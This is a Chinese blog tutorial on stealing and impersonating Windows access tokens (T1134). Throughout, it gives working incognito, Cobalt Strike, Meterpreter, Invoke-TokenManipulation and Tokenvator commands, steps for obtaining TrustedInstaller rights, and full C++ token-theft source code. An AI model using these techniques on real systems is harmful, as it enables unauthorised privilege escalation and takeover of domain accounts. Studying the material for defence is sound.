Windows访问令牌模拟窃取以及利用(T1134)

摘要:
Token简介Windows下有两种类型的TokenDelegationtoken(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)Impersonationtoken(模拟令牌):用于非交互登录(利用netuse访问共享文件夹两种token只在系统重启后清除,具有Delegationtoken的用户在注销后,该Token将变成Impersonationtoken,依旧有效使用i

Token简介

Windows下有两种类型的Token

Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹

两种token只在系统重启后清除,具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

使用incognito

使用 incognito.exe list_tokens -u 可以查看到用户的token(管理员权限)
Windows访问令牌模拟窃取以及利用(T1134)第1张

刚才 saber 用户是我刚才注销的用户,但是因为未关机所以token保留了下来
利用查询到的 token 执行命令

incognito.exe execute -c "MIKASA8A63mikasa" calc.exe

CobaltStrike中使用

在未提权的情况下,当前用户肯定是只能看到当前用户自己和比自己权限低的所有访问令牌(所以窃取令牌的前提就是提权)
Windows访问令牌模拟窃取以及利用(T1134)第2张

提升至管理员后
Windows访问令牌模拟窃取以及利用(T1134)第3张

一般在内网中我们目标token是域管理员进程的,但是这里没域环境,我先拿 mikasa 这个用户测试
此时我已经提权为 System
Windows访问令牌模拟窃取以及利用(T1134)第4张

steal_token 17084  //窃取 mikasa用户权限的进程的 token(steal_token pid)


[*] Tasked beacon to steal token from PID 17084
[+] host called home, sent: 12 bytes
[+] Impersonated MIKASA8A63mikasa

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are MIKASA8A63mikasa


//此时已经窃取成功

//使用 rev2self 命令撤回令牌

beacon> rev2self
[*] Tasked beacon to revert token
[+] host called home, sent: 8 bytes

假设这个 mikasa 是域管理员用户的话,那我们就可以直接访问域控了

使用meterpreter

与CS大致是一样的

load incognito //载入 incognito
list_tokens -u
getuid  //查看当前 token
impersonate_token "NT AUTHORITY\SYSTEM" //token窃取
steal_token pid //从进程中窃取
rev2self or drop_token //返回之前的token

使用 Invoke-TokenManipulation.ps1

Import-Module .Invoke-TokenManipulation.ps1 //导入
Invoke-TokenManipulation -Enumerrate //枚举Token

Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem" //以System启动 cmd.exe

Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 //复制进程Token

Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 //复制线程token

Windows访问令牌模拟窃取以及利用(T1134)第5张

Windows访问令牌模拟窃取以及利用(T1134)第6张

如何获取TrustedInstaller权限(可修改系统文件的权限)

其实大部分还是窃取 token
首先启动 TrustedInstaller 服务,然后获取token就行了
cs中的操作(管理员权限)

shell sc.exe start TrustedInstaller //启动服务,可看到启动的进程pid
若是服务已经启动使用
shell powershell.exe Get-Process -name TrustedInstaller*  //也可查询进程id

如何判断获得TrustedInstaller
1.向特殊文件写文件
shell echo 1 > C:windowsservicing1.txt
shell type C:windowsservicing1.txt
2.shell whoami /groups | findstr TrustedInstaller

使用 Tokenvator.exe
首先在本地打开一个管理员的cmd 用于先获取 System 权限
Windows访问令牌模拟窃取以及利用(T1134)第7张
我通过 pid 3740的这个进程获得一个 System的cmd

.Tokenvator4.5.exe Steal_Token 3740 "cmd.exe"

Windows访问令牌模拟窃取以及利用(T1134)第8张

sc.exe start TrustedInstaller //启动服务获得进程 pid 
.Tokenvator4.5.exe Steal_Token pid "cmd.exe" //根据刚获得的进程pid获得TrustedInstaller权限

Windows访问令牌模拟窃取以及利用(T1134)第9张

Windows访问令牌模拟窃取以及利用(T1134)第10张

令牌模拟的流程

参考冷逸师傅
https://lengjibo.github.io/token/

OpenProcess() -> OpenProcessToken() -> DuplicateTokenEx() -> CreateProcessWithTokenW()
#include <iostream>
#include<stdio.h>
#include<Windows.h>
#include<stdlib.h>
int main(int argc, char * argv[])
{
    if (argc < 2) {
        printf("Usage:  xxx.exe pid");
        exit(0);
    }
    wchar_t cmdline[] = TEXT("C:\Windows\System32\nslookup.exe");
    HANDLE Process_handle;
    HANDLE Token_handle;
    HANDLE Duplicate_handle;
    STARTUPINFO startupINfo;
    PROCESS_INFORMATION process_informatiOn;
    ZeroMemory(&startupINfo,sizeof(STARTUPINFO));
    ZeroMemory(&process_informatiOn,sizeof(PROCESS_INFORMATION));
    startupINfo.cb = sizeof(STARTUPINFO);
    DWORD ProcessID = atoi(argv[1]);
    Process_handle = OpenProcess(PROCESS_ALL_ACCESS,true,ProcessID);//打开进程获取句柄
    if (Process_handle != NULL) {
        printf("Open Process Sucess
");
    }
    else {
        printf("Open Process Faild
"); 
        exit(0);
    }
    if (OpenProcessToken(Process_handle, TOKEN_ALL_ACCESS, &Token_handle)) {
        printf("Get Process Token Handle Sucess
");
    }
    else {
        printf("Get Process Token Handle Faild
"); 
        exit(0);
    }
    if (DuplicateTokenEx(Token_handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &Duplicate_handle)) {
        printf("Duplocate Token Handle success
");
    }
    else
    {
        printf("Duplocate Token Handle Faild
");
        exit(0);
    }
    if (CreateProcessWithTokenW(Duplicate_handle, LOGON_WITH_PROFILE, NULL, cmdline, 0, NULL, NULL, &startupINfo, &process_informatiOn)) {
        printf("CreateProcess Token Handle success
");
    }
    else
    {
        printf("CreateProcess Token Handle faild
");
        exit(0);
    }

    return 0;
}

测试一下,这里面我根据进程的PID 拿到 对应的Token,然后根据这个Token启动一个 nslookup.exe
Windows访问令牌模拟窃取以及利用(T1134)第11张

Windows访问令牌模拟窃取以及利用(T1134)第12张

起一个CMD试一试
Windows访问令牌模拟窃取以及利用(T1134)第13张

上面的我测试了一下,不能够获得 System 的shell,因此这里面我贴上lengyi师傅的代码

#include <windows.h>
#include <iostream>
#include <Lmcons.h>

BOOL SetPrivilege(
    HANDLE hToken,         
    LPCTSTR lpszPrivilege, 
    BOOL bEnablePrivilege  
)
{
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!LookupPrivilegeValue(
        NULL,          
        lpszPrivilege,   
        &luid))       
    {
        printf("[-] LookupPrivilegeValue error: %u
", GetLastError());
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;



    if (!AdjustTokenPrivileges(
        hToken,
        FALSE,
        &tp,
        sizeof(TOKEN_PRIVILEGES),
        (PTOKEN_PRIVILEGES)NULL,
        (PDWORD)NULL))
    {
        printf("[-] AdjustTokenPrivileges error: %u
", GetLastError());
        return FALSE;
    }

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

    {
        printf("[-] The token does not have the specified privilege. 
");
        return FALSE;
    }

    return TRUE;
}

std::string get_username()
{
    TCHAR username[UNLEN + 1];
    DWORD username_len = UNLEN + 1;
    GetUserName(username, &username_len);
    std::wstring username_w(username);
    std::string username_s(username_w.begin(), username_w.end());
    return username_s;
}

int main(int argc, char** argv) {
    
    if (argc <= 1) {
        printf("USAGE: TokenSteal.exe Process PID");
        return -1;
    }
    printf("Primary Access Token Manipulation by lengyi 

");
    printf("[+] Current user is: %s
", (get_username()).c_str());

    
    char* pid_c = argv[1];
    DWORD PID_TO_IMPERSONATE = atoi(pid_c);

    
    HANDLE tokenHandle = NULL;
    HANDLE duplicateTokenHandle = NULL;
    STARTUPINFO startupInfo;
    PROCESS_INFORMATION processInformation;
    ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
    ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
    startupInfo.cb = sizeof(STARTUPINFO);

    
    HANDLE currentTokenHandle = NULL;
    BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
    if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
    {
        printf("[+] SeDebugPrivilege enabled!
");
    }

    
    HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
    if (GetLastError() == NULL)
        printf("[+] OpenProcess() success!
");
    else
    {
        HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
        if (GetLastError() == NULL) {
            printf("[+] OpenProcess() success!
");
        }
        else
        {
            printf("[-] OpenProcess() Return Code: %i
", processHandle);
            printf("[-] OpenProcess() Error: %i
", GetLastError());
        }
    }


    BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
    if (GetLastError() == NULL)
        printf("[+] OpenProcessToken() success!
");
    else
    {
        printf("[-] OpenProcessToken() Return Code: %i
", getToken);
        printf("[-] OpenProcessToken() Error: %i
", GetLastError());
    }


    BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
    if (GetLastError() == NULL)
    {
        printf("[+] ImpersonatedLoggedOnUser() success!
");
        printf("[+] Current user is: %s
", (get_username()).c_str());
        printf("[+] Reverting thread to original user context
");
        RevertToSelf();
    }
    else
    {
        printf("[-] ImpersonatedLoggedOnUser() Return Code: %i
", getToken);
        printf("[-] ImpersonatedLoggedOnUser() Error: %i
", GetLastError());
    }

    BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
    if (GetLastError() == NULL)
        printf("[+] DuplicateTokenEx() success!
");
    else
    {
        printf("[-] DuplicateTokenEx() Return Code: %i
", duplicateToken);
        printf("[-] DupicateTokenEx() Error: %i
", GetLastError());
    }

    
    BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\Windows\System32\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
    if (GetLastError() == NULL)
        printf("[+] Process spawned!
");
    else
    {
        printf("[-] CreateProcessWithTokenW Return Code: %i
", createProcess);
        printf("[-] CreateProcessWithTokenW Error: %i
", GetLastError());
    }

    return 0;
}

仔细对照了一下发现可能是 未 对当前进程做权限提升(搞不懂0.0)

参考

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/

https://lengjibo.github.io/token/

http://t3ngyu.leanote.com/post/Windows-Access

免责声明:文章转载自《Windows访问令牌模拟窃取以及利用(T1134)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇extjs 动态添加itemBase64字符 转图片乱码问题下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Linux shell awk中printf使用

printf 是 awk 的重要格式化输出命令printf格式化输出内容 格式:printf format,item1,item2...要点: 1,printf输出时要指定格式format2,formay用于指定后面的每个item输出的格式3,printf语句不会自动打印换行符 format格式: %c:显示单个字符%d,%i:十进制整数%e,%E:科学...

win32之临界区

线程安全问题 每个线程都有自己的栈,而局部变量是存储在栈中的,这就意味着每个线程都有一份自己的“局部变量”,如果线程 仅仅使用 “局部变量” 那么就不存在线程安全问题 那如果多个线共用一个全局变量呢? 多线程的线程安全问题前提: 1、有全局变量 2、对全局变量有写的权限 我们写一段代码,模拟一下两个进程访问一个全局变量,代码如下: #include <...

linux系统socket通信编程1

Linux下的Socket编程大体上包括Tcp Socket、Udp Socket即Raw Socket这三种,其中TCP和UDP方式的Socket编程用于编写应用层的socket程序,是我们用得比较多的,而Raw Socket则用得相对较少,不在本文介绍范围之列。 TCP Socket 基于TCP协议的客户端/服务器程序的一般流程一般如下: 它基本上可...

3.生成七牛云上传token

1.1 参考七牛云SDK # pythonSDK https://developer.qiniu.com/kodo/sdk/1242/python 1.2 在 oauth/urls.py 中添加生成七牛云token的路由 urlpatterns = [    path('qntoken/', views.QNYTokenView.as_view()), #...

Servlet第六篇【Session介绍、API、生命周期、应用】

什么是Session Session 是另一种记录浏览器状态的机制。不同的是Cookie保存在浏览器中,Session保存在服务器中。用户使用浏览器访问服务器的时候,服务器把用户的信息以某种的形式记录在服务器,这就是Session 如果说Cookie是检查用户身上的”通行证“来确认用户的身份,那么Session就是通过检查服务器上的”客户明细表“来确认用...

scanf函数的使用

函数原型编辑 1 intscanf( constchar*format, ... ); scanf()函数是格式化输入函数,它从标准输入设备(键盘) 读取输入的信息。 其调用格式为: scanf("<格式化字符串>",<地址表>); 函数 scanf() 是从标准输入流 stdio 中读内容的通用子程序,可以读入全部固...